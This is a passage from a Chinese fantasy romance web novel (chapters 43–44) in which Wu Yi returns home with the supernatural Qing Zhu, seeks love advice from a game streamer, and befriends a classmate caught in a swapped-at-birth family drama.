乌宜其实是个不折不扣的颜控,他从前听朋友说起什么一见钟情,自己却很少有那种对人惊艳的感觉,别人都说他是因为照镜子照多了,可现在才发现,其实也是因为见过了卿烛。 他那么好看,别人又怎么比得上—— 作者有话说:卿看不惯,卿又争又抢 宜评价:丈肓!听不懂人话! 第43章 第二天终于要回家, 乌宜虽然有些不舍,但抵达机场时心情却难以抑制地期待激动。 沈跃一路上都在嘱咐他回去以后的事宜,阿牧他们还没那么快走, 所以这次回去只有乌宜和卿烛。 下了车准备去安检,乌宜依依不舍地同他们告别,直到进入等待休息室,小脸上依旧挂着失落和惆怅。 卿烛坐在他身边一言不发,垂眸在手机上打字。 两个人安安静静坐着, 便吸引了周围不少人的目光,乌宜不想抬起头跟那些人碰巧对上视线,便扭头去盯卿烛的手机画面。 对方并没有任何防备, 所以他也清楚看见了对面的头像。 没有备注, 但看名字是秦东临。 卿烛回复完消息退出,乌宜发现他居然全都没备注。 “你能记住谁都是谁吗?” “不难” “……” 记性差的乌宜不想说话, 但不爽片刻,还是忍不住控诉, “我呢?你把我的聊天框删掉了吗?” 卿烛看了眼他,手指上滑,露出了唯一的置顶, 备注是他的名字。 乌宜仍旧不满:“你给我备注全名啊, 我的网名很难记吗?别人的你都可以记住,就我的记不清。” “……” 卿烛抬手改他的备注, 乌宜以为他要把自己设置好的备注删掉,心里正有点不舒服,就看见他去掉乌宜二字,然后从键盘表情包里选了一个猫猫头放上去。 他有些吃惊,一时间却不知道说什么, 只好又继续找茬。 “你知道我喜欢猫咪,之前我让你变成猫咪给我看看,你都不理我。” 卿烛放下手机,心平气和:“回去给你变。” 真的假的? 乌宜向来都很好哄,此时眼睛微微亮起,又忍不住质疑:“要是你骗我怎么办?” “不会。” 乌宜也知道他不是一个会食言的人,这会儿又乐起来,幻想一下,“那我要抱着睡觉。” “好。” 长途飞行落地,乌宜又困又累,只觉得比去的时候还辛苦,卿烛在前面推着行李,他打着哈欠揉眼睛走在后面,手臂忽然被抓住。 被吓了一跳,他睁大眼睛,看见一个小孩推着行李箱从面前飞奔过去,两人差点就撞上。 “小心点。”身后的人声音温润。 乌宜转头一看,发现是一个很年轻的男人,浑身带着一股书香气,很斯文。 “谢谢。” 那人松开他的手臂,只笑了笑,便先一步离开。 乌宜继续朝前走,卿烛在不远处等着他,眉心微蹙,看起来不是很高兴。 莫名的,乌宜现在一瞧见他这副样子,心里面就莫名升起一股暗爽。 司机早早在停车场等候,送他们回到家便离开了。 回到熟悉的屋子里,乌宜浑身才放松下来,往地毯上一坐,等卿烛放好行李下来,才询问他刚才那司机是谁派来的。 “赵易。” 卿烛推开落地窗,凉风灌入。 脑海中顿时响起警铃,乌宜摸了摸飞扬起来的头发,试探道:“你们两个现在关系很近啊。” “不怎么熟悉。” 乌宜才不信他,如果不是因为他信任赵易的话,赵易怎么可能主动做这些,毕竟即便是秦东临和岑阿姨,对卿烛也是很有界限感的。 “他这个人心机很深的,你可不要跟他太熟悉。” 其实算下来,他是对赵家所有的人都没有好感,毕竟谁家会内斗成这样,长辈死了也没有丝毫的伤心之意,第一时间为了自己想要的权力而厮杀,就连赵斐然那个老狐狸都不是他的对手,赵易这个人得有多可怕啊。 “你想知道赵易的事情?” 听见卿烛的话抬起头,乌宜才发现他已经走到了自己的面前。 犹豫片刻,他问:“他还有什么我不知道的事情?” 卿烛向来不喜欢说废话,此时抬手抚在他的头顶,修长手指微微屈起,抵在他眼角位置。 明白他要做什么,乌宜顺从地闭上了眼睛。 漆黑的眼前逐渐浮现出白光,他看见‘自己’跪在一个祠堂里,面前的烛火被深夜寒风刮得来回摇曳,光影打在墙上,宛若狰狞的鬼魅。 “这就是心慈手软的下场,作为长子你本该肩负起家族的责任,可却养成这样一副心肠,无论是你父亲还是你弟弟,都比你识时务!” 赵易浑身冰冷,低下头看着手上的伤痕,小臂上的皮肉已经被烫起了可怖的水泡,他背后还有被鞭打过的伤痕,此时结了血痂,和衣服粘在一起,只要稍微动一动便是刺骨的疼痛。 “没有野心,就别做我赵家的孩子!” 这一夜,他双膝跪到失去知觉,被带回房间后发起高烧,昏迷了三天三夜。 画面一转,赵易已经成长许多,下完课赶往公司,便见到赵机正在训斥赵斐然。 “连这点事情都做不好,这些年我重点培养你,这就是你交给我的答卷?赵斐然啊赵斐然,你活了这么多年,连自己的儿子都不如,哪天他骑你头上了也是你自己不中用……” 听见爷爷在夸奖自己,赵易心中却没有任何喜悦,心中反而只涌上了强烈的不安感。 果然,之后赵斐然便视他如眼中钉,面上像是个普通父亲一般威严慈祥,可暗中却给他使了不少绊子。 他很明白这是什么情况。 年迈的爷爷即将退位,而父亲正是他们家族最为鼎盛的雄狮,他还未即位,自己羽翼尚未丰满的儿子就成了无形中的竞争对手,这对任何一个有野心的男人而言,都是极大的威胁。 无数次,赵易想要找机会和父亲摊牌,告诉他自己志不在此,可时常望着对方盯着他时的厌恶警惕神情,他又猛然发现,父亲是不会放过他的。 即便他用一百种方式表忠心,可在赵斐然的心中,他也随时可能取代他的位置,毕竟在这个家里,绝对的话语权永远只在赵机的手上。 他已经被圈进了这个旋涡,再也不能脱身了- 读完那段记忆,莫名的惆怅萦绕在乌宜的心头,他想起来赵易每次出现都西装革履的昂扬姿态,一时间心情复杂。 忽然觉得这个家这么支离破碎,也变得很好接受了。 他心情正惆怅,面前忽然出现了一只小小的盆栽,翠绿的叶子有些萎靡地耷拉着,没精打采。 “这是什么?”乌宜回过神,将其从卿烛的手上拿走,认认真真打量起来,“是什么品种啊?” “杂草。” “……”乌宜怀疑他在诓骗自己,“那你还把它种在花盆里。” “你不是问我去伦敦看什么朋友。” 乌宜跟他大眼瞪小眼,足足半分钟才领会到他的意思,低头不可置信地打量那蔫巴的小盆栽,目光又挪到他的身上。 “它是你的朋友?” “嗯。” 乌宜满脸黑线,“我看起来特别傻吗?” 卿烛忽然笑了,这才解释:“老朋友长成参天大树带不走,折了它一枝嫩芽。” “不是说杂草吗?” 乌宜对植物完全不了解,将盆栽举高放在脸前面认认真真打量,眼睛眨巴哈巴,隐约间好像还真看出了几分不对。 他说完那句话以后,叶子似乎又蔫了不少。 不会听得懂人话吧!乌宜一惊,忽然就相信了卿烛说的那些。 “那能养活吗?他之后会不会像你一样变成人?” 他一肚子问题,又不好意思全部问出口,只能眨巴着亮晶晶的眼睛期待地看向卿烛。 “能,可能会。” 天啊,这也太神奇了吧。 乌宜捧着那盆栽的手都变得小心翼翼,生怕将它给摔了。 “他要多久才长大?每天浇水就可以吗,放在院子里会不会被鸟啄坏,要不要……” 卿烛有些无奈,“放三楼露台。” “哦。” 乌宜便欢天喜地地抱着跑上楼去,找了个能晒到太阳的好位置。 他从前只在西游记里见过这种画面,还没想到自己有一天可以亲眼见证,植物变成人,那不就跟人参果一样。 见他浇的水要把整个花盆都浸满,卿烛欲言又止,还是拎起他的后领,把人带下了楼。 “别整天盯着它看。” “为什么?它会害羞吗?”乌宜只觉得新奇,脑子里全都是小苗变成人的画面,可到了客厅,就瞧见自己的背包不知何时被放在了沙发上。 “你的假请到明天,课后作业也要做完,选修课听了没有?” “没有。” 乌宜蔫了下来,习惯性又要用之前的承诺来压他,可卿烛却先他一步。 “公事公办,这些事情不能听你的。” 乌宜不情不愿,“那你还想追上我呢?” 卿烛看看他,似乎有些想笑,“除了追求者以外,我应该还有个身份吧。” 乌宜故意不想理会他,走过去抓起自己的包,噔噔噔跑上楼。 没有人追上来,他打开笔记本电脑登录账号,从桌上的小镜子看见了自己奇怪的表情。 脸颊微微涨红,还带着点儿不自然,就好像是电视剧里面为情所困的那些角色。 天啊! 乌宜心乱如麻,很想找个人说说自己的心里话,可是他身边的这些人都认识卿烛,就算他想要保密,别人也能够直接猜到。 正纠结着,电脑叮咚响起,微信有人给他发了消息。 游戏好友-镜:【有空打游戏吗?】 乌宜眼睛微微一亮,犹豫着回复:【我在做作业】 游戏好友-镜:【你翘课?】 乌宜看了眼日历,今天是周三,半天才明白他的意思,连忙解释:【我是大学生】 游戏好友-镜:【哦,我没念过大学,不好意思】 【没关系……】 方才翻涌起的强烈倾诉欲被压下,乌宜有点纠结,虽然他和镜现实中并不认识,但跟这个人也不算熟悉,要不还是别耽误他打游戏的时间了。 看了一眼直播软件,他果然又看见了镜在直播,画面依旧是定格的,弹幕疯狂滚动,但背景只有键盘打字的声音。 游戏好友-镜:【你心情不好吗?】 没想到对方先提起了这个话题,乌宜犹豫半天,发了一个嗯嗯的表情包过去,那小兔子低垂着脑袋,耳朵也耷拉在两侧,是个很可爱的表情。 游戏好友-镜:【可以跟我说说吗?正好我闲着无聊没事干】 乌宜看了看对话框,目光又转移到他直播间,目前三千人在线,都在催促他赶紧开下一把。 [不是主播干什么呢?键盘敲到飞起,一局都不开] [小心给你寄刀片啊。] [又在跟哪个妹子聊天?] 这叫不忙吗? 乌宜犹豫着回复:【还是不打扰你了】 谁料对面秒回。 【说吧】 看得出来态度很认真,于是乌宜又是犹豫半晌,还是忍不住简述了一下过程发过去。 【就是最近有一个我很熟悉的长辈说要追我,我有点不知道该怎么办】 游戏好友-镜:【长辈?这样不太合适吧】 乌宜连忙回复:【只比我大一点点,没有血缘关系的,我是孤儿】 他发完这句有点心虚,毕竟卿烛比他大多了,但是……外型看起来也没有很大。 游戏好友-镜:【那你现在是在苦恼什么?你喜欢他吗?】 乌宜老老实实打字:【我也不知道,但是我肯定不讨厌他,他对我很好的,只是他的脾气比较奇怪,我觉得他是那种不会喜欢任何人的类型,不知道你能不能理解那种感觉……就是他的喜欢跟我们认为的那种要恋爱的喜欢是不一样的】 游戏好友-镜:【我明白了,你是在担心他对你的追求只来源于责任或者是占有,并没有对你动真感情吗?】 看见他的回复,乌宜几乎眼睛亮起。 他觉得镜简直是太懂他了! 得到他的肯定回答,镜沉默了一会儿,直播间背景声音的键盘上没怎么停下,但是乌宜却始终没收到消息。 这是在写八百字议论文吗? 乌宜有点呆,坐立难安,脱掉鞋子踩在椅子上,抱着自己的膝盖紧盯屏幕,视线久久没有挪开。 游戏好友-镜:【不知道我这么说会不会有些冒昧,但如果他真的对你产生了类似于“占有”的情感,他是否理解那种感情似乎也不是那么重要了,如果你真的不放心,可以试探一下】 乌宜连忙问:【怎么试探啊?】 猫猫探头的表情在画面上闪动。 游戏好友-镜:【小弟弟,你那位长辈应该是男性吧。】 乌宜没想到他猜得这么准,还是回了一个点头的表情。 游戏好友-镜:【那还不简单,看他会不会*,不就能确定了吗?】 “啊?” 乌宜被屏幕上直白的话吓了一跳,整张脸都涨红了。 隐约间,他听见直播间响起一声很轻的笑。 [笑毛啊快开!] [我要举报有人在这水时长] [为了跟你单挑,我都翘班了,你倒是在这跟人撩骚上了] [支持真实主播的扣1] 游戏主播-镜:【男人的欲望很诚实,如果他真的像你描述的那么克己守礼,那种时候可能只会更疯】 乌宜不懂:【为什么?】 游戏主播-镜:【憋久了呗,你平时不打飞机吗?】 “……” 乌宜小脸一红,并不想参与这个话题,默默发了一句谢谢过去。 但对面并没有停止,又发来新的消息。 【不过在此之前,我觉得更重要的是搞清楚你自己的想法,你是抱着怎样的目的去做这件事,如果你想和他在一起,可以参考我的建议去确定他的心思,但如果你没准备跟对方确定关系,甚至于你自己都不喜欢他,那其实根本没必要这么做,继续维持原本的相处模式就好,你得想明白这点】 【好了不聊了,我还有工作,你之后如果还想要聊天倾诉的话可以找我,我很愿意倾听】 这条消息发完,直播间总算开启了新的一局游戏,乌宜也听见了主播散漫不羁的声线。 “催催催,这不是开了吗,谁说要单挑的,结束这句我开个房间,自己进来找死。” 乌宜脸上的热度还未褪去,长长吐出一口气,作为感谢,充值了十块钱,给镜送了一个小礼物。 小黄鸡在屏幕上笨拙地展翅飞起,然后掉进了一个小鸡窝里。 镜的直播间每天很多礼物特效,可他秀操作的同时,却还抽空感谢了一句:“谢谢小黄鸡的礼物。” [主播没戴眼镜吗?人家送的是小黄鸡,名字又不叫小黄鸡] [打游戏打眼瓢了] [我刚才送的好运莲莲怎么不感谢?] 听见外面传来脚步声,乌宜连忙退出直播和聊天框,把视频的暂停解开人,听着里面的讲课声音,耳朵微微竖起,留意着门外的动静。 但卿烛似乎只是去了另一侧,并没有来到他的房间。 松了口气,他又忍不住开始走神,去回想镜跟他说的那些话。 他对卿烛……这么多年其实他都没有深究过,只是习惯了和卿烛待在一起,享受对方的好,如果不是因为卿烛重新获得了身体,现在那黑雾可能还盘在他的手腕上。 两个人之间本身就没有太强的距离感,就连他第一次梦.遗醒来洗内裤时,卿烛都盘在他的肩上看着。 可想到这里,他心中又升起了疑惑,既然是这样……他又为什么会在和卿烛接吻的时候有那种强烈的羞耻感呢? 乌宜从前觉得卿烛感知感情的能力很差,现在才发现自己也不遑多让。 这个问题让他思考到了第二天早上,却也没得到什么结果。 请的假时间到了,他得出门上课,厨房里留了卿烛的早餐,却没有见到他人。 出门前,乌宜上楼去找盆栽,发现它的叶子昂扬翠绿了不少,而且似乎比昨天长大了一些。 高高兴兴浇完水,他听见车声便下楼,看见是一辆陌生的车,有些奇怪地走近,司机就冲他笑笑。 “小少爷好,我是卿先生聘请的专属司机,以后您去哪里都联系我,我接送您。” 那是个很面善的中年女人,头发束起一丝不苟,冲着他露出微笑,专业中也带着一股天然的亲和力,让乌宜很有好感。 “谢谢姐姐。” 他坐上车,正准备摸出手机看看消息,摸包的时候却看见车窗外的画面,停住动作往外看。 司机看见他的动作,便将车速放缓,道:“看起来是邻居要搬走。” 这是林白杨的家,乌宜吃了一惊,看着那些人正在搬东西,但是院子里并没有林白杨的身影,不由得感到奇怪。 怎么忽然间就要搬走了,难不成是因为…… 想到之前林白杨被卿烛驱逐离开的画面,他有些想笑,收回目光。 “没事,我们走吧。” 司机便加快了车速,乌宜想想,记起来林白杨是赵易公司旗下艺人,又想到盛莲安接的那部戏,之前他没时间聊这些,现在才想起来之前的消息好像都没有回复。 抵达学校,司机询问过他下课的时间便走了,他一边往指定教室赶,一边回复盛莲安刚刚发来的消息。 盛莲安已经进组了,还邀请他去拍摄地玩,说那附近有很多当地特色的小吃,乌宜其实不算很馋,但他从来没有过去剧组,一时心动,便表示自己考虑考虑。 开始上课,朋友早给他占好了座位,一进去,周围的目光便聚拢过来,不少人冲他打招呼。 乌宜长相显小脾气又好,周围熟悉他的人都对他挺热情的,朋友还给他带了热奶茶。 “加了两份蜜豆。” “谢谢!”乌宜抱着喝了一口,顿时觉得身体变得暖融融。 周围几人都在讨论那个万事通小程序的最新投稿,聊了一会儿又开始讨论当前热点,无法避免就提起了粉丝日渐多起来的玩偶守护神和弟控大佬词条。 “到现在我都觉得是在营销了,哪有这么多弟控,故意造出来的形象吧。” “话说那个守护神到底是不是真的,这个难道不算是封建迷信吗?词条热成这样还没被封禁,匪夷所思。” “你一说还真是诶,出热度以后都大半年了吧,现在热度越来越高了。” “所以会不会是真的啊?但是我之前高考的时候那么绝望,差点都跳楼了,怎么没见有人来给我送。” “……” 乌宜不敢掺和这个话题,只能尴尬地坐在边上笑,假装是个不上网的小土鳖。 好不容易熬到上午的课程结束,他拎上包准备回去,司机还没到,他便一路到了门口,谁料刚走出去就听见外面响起争吵的声音。 两个青年在门口争执,其中一个很不耐烦地甩开另一人,坐上车扬长而去,而剩下的那人坐在地上久久没有起来。 周围有刚买了午餐的学生过去跟他搭话,他也只是摇摇头,看起来十分沮丧。 而很快,熟悉的车也停在了路边,司机降下车窗准确无误看见了乌宜,冲他招手。 乌宜犹豫一下,还是朝着那人走过去。 “同学,你没事吧?” 那青年低着头,听见他开口身体似乎僵硬了一下,然后才很慢地抬起头,有点不好意思地冲他笑了一下。 “脚扭到了。” 那笑容很苦涩,在他年轻英俊的面容上显得有些局促,让乌宜觉得他有点可怜。 “要不我送你去医院吧,正好顺路的。”他说着担心对方拒绝,又指了指近在咫尺的车,“车就在这里。” “太麻烦你了,我去校医务室吧。”青年说着动动脚想要自己站起来,可脚微微用力就倒吸一口气,表情有些绷紧。 “没事的,我送你去吧,你的脚这么严重。” 乌宜见他的态度并不坚决,正好司机也下车过来,便跟她一起将青年扶上了车。 两人一起坐在后座,乌宜从小冰箱里给他找了一个冰袋。 青年说了声谢谢,然后将冰袋放在了脚踝上,很感激地冲他道谢。 乌宜:“没关系的,对了,我叫乌宜,你呢?” 青年很认真地看着他,分明是坐在别人的车里,却展现出一种人畜无害的放松感。 “我叫顾掠影。” 第44章 “顾掠影。”乌宜点点头, 觉得有点熟悉。 而在回想起刚才门口发生的事情时,他猛然反应过来,今天课上周围的人不就在讨论这个名字吗? 他们说教育院出了个‘真少爷’, 简直是真假少爷文学照进现实,那个所谓的‘真少爷’就是顾掠影,不过大家都说他回家以后并不受欢迎,那个鸠占鹊巢的假少爷到现在还住在他家里,而且成绩比他差, 却因为家里的关系进了很好的学校,而顾掠影即便被认回去了,还是没有获得任何机会。 大家都说他整天穿的很寒酸, 隔壁学校的‘假少爷’每天豪车接送, 他却只能骑自行车和坐地铁。 天啊,这是什么绝世小可怜。 乌宜看向对方的眼神止不住带上怜爱, 但是又不好意思说穿,只能试探着询问:“刚下那个是谁啊?” 提到这个人, 顾掠影脸上的笑容淡了一些,垂下眼睛,目光有些空洞。 “他是我……哥哥。” 乌宜顿了一下, 有点不知道该怎么安慰, 想把话题接下去,脑子又乱成一团浆糊, 半天整理不出一句措辞。 “没关系,我知道这段时间很多人在讨论我们家的事情。”顾掠影显得很坦然,“这也不是什么秘密。” 见他如此坦白,乌宜还是忍不住八卦:“他刚才为什么要那样啊?” 顾掠影欲言又止,似乎在犹豫, 乌宜不太喜欢为难别人,正要说不方便自己就不问了。 “他来学校找人,我知道他准备回家就想让他顺便带上我,但他不太愿意,说有急事要先回去,所以……” 乌宜听完顿时怒火中烧,“他怎么能这样呢?明明你才是顾家真正的孩子,有血缘关系的诶!” 顾掠影沉默不语,显然对自己的处境也感到很无奈。 半晌,他抬起头冲着乌宜笑笑,“其实在我父母在的地方,他对我还是挺好的,所以我平时日子其实过得也还不错吧。” 乌宜听完更加心疼他,心想这不是典型的真假少爷剧情吗? 真少爷回到家里不受宠爱,假少爷为了持续在这个家待下去,装出绿茶模样博同情,顺便陷害真少爷,而这样最后所有人都会心疼他。 我的天,小说都照进现实了。 乌宜倍感震撼,皱着小脸半天都说不出一句话来。 “对了,其实我不用给我自我介绍。”顾掠影忽然笑着转移了话题,“我其实早就认识你了,你在学院里很有名。” 乌宜早就习惯了这种打招呼的方式,但还是礼貌地笑了笑,“是吗。” “嗯。” 似乎也是察觉到了他因为这件事情心情不太好,顾掠影很快便转移话题,说起从前和他在图书馆时背对背坐着。 “我那时候还很纠结要不要和你打招呼,因为你那天穿的比较单薄,就想问你需不需要外套,但是最后没好意思说。” 乌宜不太观察身边的人,原先有卿烛在的时候都会由他去排查,所以他自己并没有养成这个习惯。 “不好意思啊,其实你可以主动跟我打招呼的。” “这有什么,我们现在不是已经认识了吗?”顾掠影话音落下,车窗外出现了医院的花坛。 乌宜眼睛亮了亮,同样配合:“那我们就是朋友啦。” 他看着顾掠影眼眸中泛起了一丝类似感动的情绪,心里面顿时又酸又涩,忍不住在心里暗骂起在门口看见推搡顾掠影的那个人。 现在想起来,还是有点眼熟,难不成在哪见过? 去医院检查完出来,顾掠影脚踝只是扭伤,需要静养一段时间,乌宜便做好人做到底,将他送回家。 路上,两人相谈甚欢,他发现顾掠影也是从申城来的,他原本的家庭就在申城,之后来云京读大学,阴差阳错下才发现自己原来是顾家的孩子。 “我也是申城的。”乌宜有些雀跃,“你知道林水镇吗?我在那里出生的。” 顾掠影也是眼睛一亮:“我知道,我那时候住的地方距离林水镇就很近,那边现在改成了景区,游客很多 。” “是吗?” 乌宜倒是对这些没有了解,老实说他对那个地方也没有很多的好感,唯一只得高兴的就是在那里遇见了卿烛。 “对了,你是怎么被找回去的啊?” 他有点想不到。 顾掠影苦笑一下,说:“那时候我在医院附近的餐馆兼职,去送餐的时候被一个坐在轮椅上的老人叫住,他说我长得很像他年轻的时候。” 乌宜发动大脑立马猜到了之后的事情:“他不会是你爷爷或者你姥爷吧?” “对。”顾掠影眼眸微弯,“你真聪明,之后他就和我做了亲子鉴定,之后才知道我和顾风顺被调换的事情。” “居然是这样。”乌宜听见他说的那个名字,只觉得有点讨厌,“你的名字也是之后改的吗?” “对,是我自己起的,我爷爷本来想让我改叫顾煊,但是我不太喜欢。”顾掠影说,“风顺寄予了他们的厚望,我不想学他,只想有一个属于自己的名字,毕竟我前十几年顶着的名字……实在有点难以启齿。” 他这么说,乌宜自然也不会问下去。 “之后爷爷和我说,顾风顺已经在家里待了很多年,大家也都将他当成了自己的孩子,一时间难以割舍,希望我能答应跟他和平相处,等他毕业以后就会将他安排到国外。” 乌宜不是很高兴:“那也很便宜他了。” “我答应了,但是这段时间发现……事情好像并没有朝着他们承诺的那样发展。”顾掠影脸上的表情有些苦涩,“我能感受到他对我有些敌意,但我又有什么好跟他争抢的呢?这个家里的一切都是他的。” 见到他这副模样,乌宜更是心疼。 顾掠影回过神,忽然笑了起来,“没事的,其实我现在过的日子可比从前好多了,我养父母不喜欢我,不知道是不是因为清楚我不是他们的亲生孩子,所以对我动辄打骂,现在至少吃得饱穿得暖。” 乌宜微蹙着眉头,小声说:“知足常乐嘛,你是个想得开的人。” “毕竟现在也没别的办法了。” 顾掠影说完车正好停下,他看向窗外,已经抵达了自家小区,便道:“要不在这里放下吧,我自己进去,这里进出要登记呼叫有点麻烦。” “没事的,你说门牌号就可以。”前面的司机说。 顾掠影便报了门牌,说完以后脸上还满是纠结,显然在为麻烦他们而不好意思。 他越是这样,乌宜心里就越难受,忍不住想看看这一家子到底是什么货色。 保安得到门牌以后前去呼叫,然后才开门让他们进去。 这是一片沿湖公馆,看得出来两侧的房子都有些年岁,不过很豪华。 不多时,车停在一处院子门口。 “乌宜,真的谢谢你,等我好起来请你吃饭。”顾掠影道了谢,又和他加上联系方式,便推门要下去。 乌宜想了想,也推开另一侧的门下车去扶他。 “我扶你进去吧。” “谢谢。” 顾掠影不给你没有将浑身的力气都压在他的身上,自己垫着脚一瘸一拐地往院子里走,脸色微微绷紧。 “送到这里吧,屋子里有电梯。” 乌宜便也没有强求,“你记得要擦药,不要忘记了。” “好,谢谢你送我回来。” 顾掠影站在门口冲他招招手,他犹豫片刻,便还是转身走了。 他一个人都没有看见,直到坐上车,隐约间瞧见二楼的露台上坐着一个年轻男人,他已经换了一身衣服,坐椅子上,膝盖放着一本笔记本电脑,似乎正在敲打什么。 这样远的距离,乌宜还是认出他就是方才在门口推搡顾掠影的人,而且看起来…… 他正思索着,那人忽然间抬起头,他与其对上视线,脑海中灵光闪过,猛然想起来自己和他在哪里见过。 是从伦敦回来时,在机场拉住他的那个人,原来他就是顾风顺! 直到司机已经将车开走,乌宜靠在座椅里,心底还止不住地感到震惊。 那天他在机场遇见顾风顺,他看起来是那么翩翩有礼,可没想到居然是个这样的人。 心事重重回到家,一见到坐在沙发上看书的卿烛,他便猛地扑了过去,迫不及待地分享,“我今天遇见了一个特别可怜的人。” 卿烛合上书看向他,不知是察觉到了什么,忽然皱了皱眉,问:“你今天去哪了?” “去学校啊。”乌宜不太喜欢他这个态度,急忙凑过去,“你怎么不问问我说的是谁?” “谁?” 乌宜便将事情经过和他说了一遍,到后面脸上满是感慨,“我真的没想到有人这么会装,如果我跟他相处的话,肯定会觉得他是一个很好的人,可是他真的就直接甩开别人自己回家了,我送顾掠影回去的时候,他还换了身衣服坐在阳台上呢。” 卿烛倒是丝毫不惊讶,淡道:“都会伪装,熟悉了才知道是人是鬼。” “那你说顾掠影这叫什么?怎么这么不公平啊。”乌宜想破脑袋也想不通,“如果是我的话,我肯定要自己亲生的小孩啊,这可是亲生骨肉,再怎么样也不能轻视嘛,血溶于水。” 卿烛点头表示支持。 可乌宜并不想就这样放过他,“那如果你是呢?从小养到大的,和你亲生的,你选哪个?” “……” 卿烛叹了口气,说:“我不会有子嗣。” 乌宜先是一怔,反映过来,眼睛瞬间瞪大了,目光不自觉下移,朝着某个位置看去。 “不是这个意思。”卿烛有些头疼,“我的情感和你们不太相同,非要比较的话,你做的甜点和别人做的甜点,我还是会选择你做的,毕竟没毒。” 乌宜觉得这个说法有点奇怪,但他勉强可以理解。 “顾掠影和顾风顺又不是甜点,而且他们最大的问题应该是,你误以为别人做的甜点是我做的,然后保存了很多年,想吃的时候才发现这是个假的。” “我不会蠢到认错,即便真的认错了,也不会把别人的东西留在身边。”卿烛声音很冷。 乌宜纠结半天,还是觉得这是个难题。 “不过其实看着长大,也确实会有点难以割舍吧,但是这样真的太让亲生甜点心寒了。” 他说完,发现自己被卿烛带歪了。 “你说顾掠影算不算惨?他会有念力吗?” 其实卿烛到现在这个状态,已经不需要频繁吸收念力了,但身边能够获取的话,乌宜还是希望尽量多收获一些,以免之后再出现什么意外。 卿烛的想法显然和他一致,“过几天我和你去学校。” “好。” 几日后,乌宜拎着早餐溜进教室,看见顾掠影已经给他占了位置,便坐过去,将其中一杯咖啡和三明治推到他的面前。 “这个很好吃。” “谢谢。”顾掠影也从包里找出了一小盒很漂亮的糖递给他,“这个给你,我猜你应该喜欢吃甜食。” 乌宜也冲他道了谢,看得出这个包装应该很贵,小心翼翼拆开,挑了一颗橘子味的吃。 味道很清甜,并不让人感到腻味,他很喜欢。 “真的不错诶。” 顾掠影弯起眼角笑了,“我也很喜欢这个味道。” 两人坐在一起听课,乌宜思考时总不自觉去摩挲手腕上的玉镯,惹得顾掠影的注意力也落在了他的手腕上。 一趟课程结束后,顾掠影还是忍不住赞叹道:“你的首饰可真好看。” 乌宜喜欢花哨的视频,此时手腕上叠戴着金环玉镯和手链,动起来时不时发出叮咚脆响,漂亮又张扬。 “这些都是我哥哥送我的。”他小声说。 “你哥哥对你真好。”顾掠影显然很羡慕。 想到他家里的情况,乌宜不好意思再继续这个话题,只能转问他今天还有没有其他课程,得知没有后,便邀请他一起吃饭。 “我知道附近有一家很好吃的餐厅,我请你。” 顾掠影的脚已经基本好了,起身同他一起往外走,忙道:“当然是我请,你放心,我生活费挺多的,不用给我节省。” 乌宜一想也有道理,便没有再跟他推距。 吃饭的时候,乌宜还特意问过卿烛,得知他并不饿,便没有强求他操控着人形过来一起。 两人聊了些学校的事情,无意间得知顾掠影闲暇的时候也会打游戏,乌宜虽然不熟练,但还是邀请他他回头一起开黑。 相处下来,他发现自己顾掠影居然有很多共同话题,两个人坐在一起基本没有冷场,心中便不由得对顾掠影这个人生出了好感。 “对了……” 听见对面的人要说话,乌宜将叉起的红酒牛肉塞进嘴里,抬头看过去,话却被另一个人打断。 “小宜。” 他诧异看过去,有个穿着衬衫的男人朝着他们走来,脸上还戴着口罩,走近了瞧见那双温柔含笑的眼眸,乌宜这才将人认出来。 “莲安哥哥。” 来人正是盛莲安,他冲着乌宜笑笑,顺手揉了一把他的脑袋,“跟同学在这吃饭呢?” “嗯,我刚下课。” 乌宜说着看向顾掠影,正要介绍,就发现对面人的表情变得有些奇怪,像是极力克制的激动,又带着点他看不懂的情绪。 “这是顾掠影,这是……” 他话音未落,顾掠影便站起身,笑着伸出手,“我知道您,我特别喜欢您的电影,可以和您握个手吗?” 乌宜的朋友,盛莲安自然不会拒绝,礼貌地同他握手道谢。 “哥哥,你要一起吗?” “不了,我是和其他人一起来的,有个活动临时回来,刚才在包间里面,你们吃吧,准备什么时候回去?” 乌宜老老实实回答:“我们下午没课,准备找个地方去玩,你呢?” “我下午有事。”盛莲安想了想,“我过两天得回剧组,你有空的话随时跟我说。” “好。” 想到可以去剧组玩,乌宜心情又变得雀跃。 等盛莲安走了,顾掠影注意到他表情的放松,便道:“没想到你还认识这么出名的演员。” 乌宜:“就是偶然认识的,你是他的粉丝吗?” 顾掠影点了头,他这才明白顾掠影刚才的激动来源于哪里。 “你早说就好了,我可以帮你要签名合照的。”乌宜说完,又补充一句,“他人很好。” “没关系,能见到真人我就很满足了。” 他说着这话更显得可怜,乌宜还是忍不住给盛莲安发了消息,而不多时,便有服务生送来两张盛莲安的签名照,上面的字体龙飞凤舞,看得出来很认真。 顾掠影收到礼物显得十分惊喜,忍不住起身重重抱了乌宜一下。 “你真好。” 吃过饭,两人在附近转了转,乌宜添置了一些日用品便同顾掠影告别。 回到家,他把新买的小摆件放在电视柜前,发现手腕上的玉镯暗淡了色泽,回头便看见卿烛从楼梯下来。 “怎么样?” “有些奇怪。” 卿烛在他身边落座,长发散落在乌宜的手背,蹭得有些痒。 他用手指绕住那一缕发丝,小声问:“怎么回事啊?” “说不清楚,念力倒也有一些,只是相较于其他人,不那么纯净。” 乌宜似懂非懂,忍不住替顾掠影说话:“他遭遇了那么多,心里肯定也会有很多不忿的,我倒是觉得很合理,如果他到现在都没有半点怨恨的话,我反而会觉得他太圣父啦。” 卿烛说:“你准备帮他?” “有一点吧,但是我感觉他现在的想法并不是很强烈。” “我不建议你离他太近。” 这不是他第一次说这种话了,乌宜扭头幽怨地看他,“你又要管我交友了。” 说完又忽然想到了什么,“啊,你是不是吃醋了?” “……” 卿烛看他一眼,“你觉得是就是。” “你还不好意思承认呢。”乌宜振振有词,“但是你现在只是在追求我,还没有吃醋的资格哦。” 卿烛淡道:“我知道。” “你不高兴啦?”乌宜觉得很有意思,“那也没办法哦,你说过什么都要听我的。” 他说着就来劲了,坐起来耀武扬威,“今晚你做饭,我想吃笋干炒饭。” 卿烛思忖两秒:“冰箱里有牛肉。” “牛肉笋干蛋炒饭!” “好。” 乌宜知道他最近恶补了食谱,闲着没事干就去看一些做饭的视频,所以也很感兴趣地跑到厨房看他做饭。 卿烛穿着一件单薄的长袖T恤,袖口挽起,腰间系着浅灰色的围裙,长发束起拢在身后,露出一张凌厉俊美的脸,手下切肉的动作准确利落,是很赏心悦目的画面。 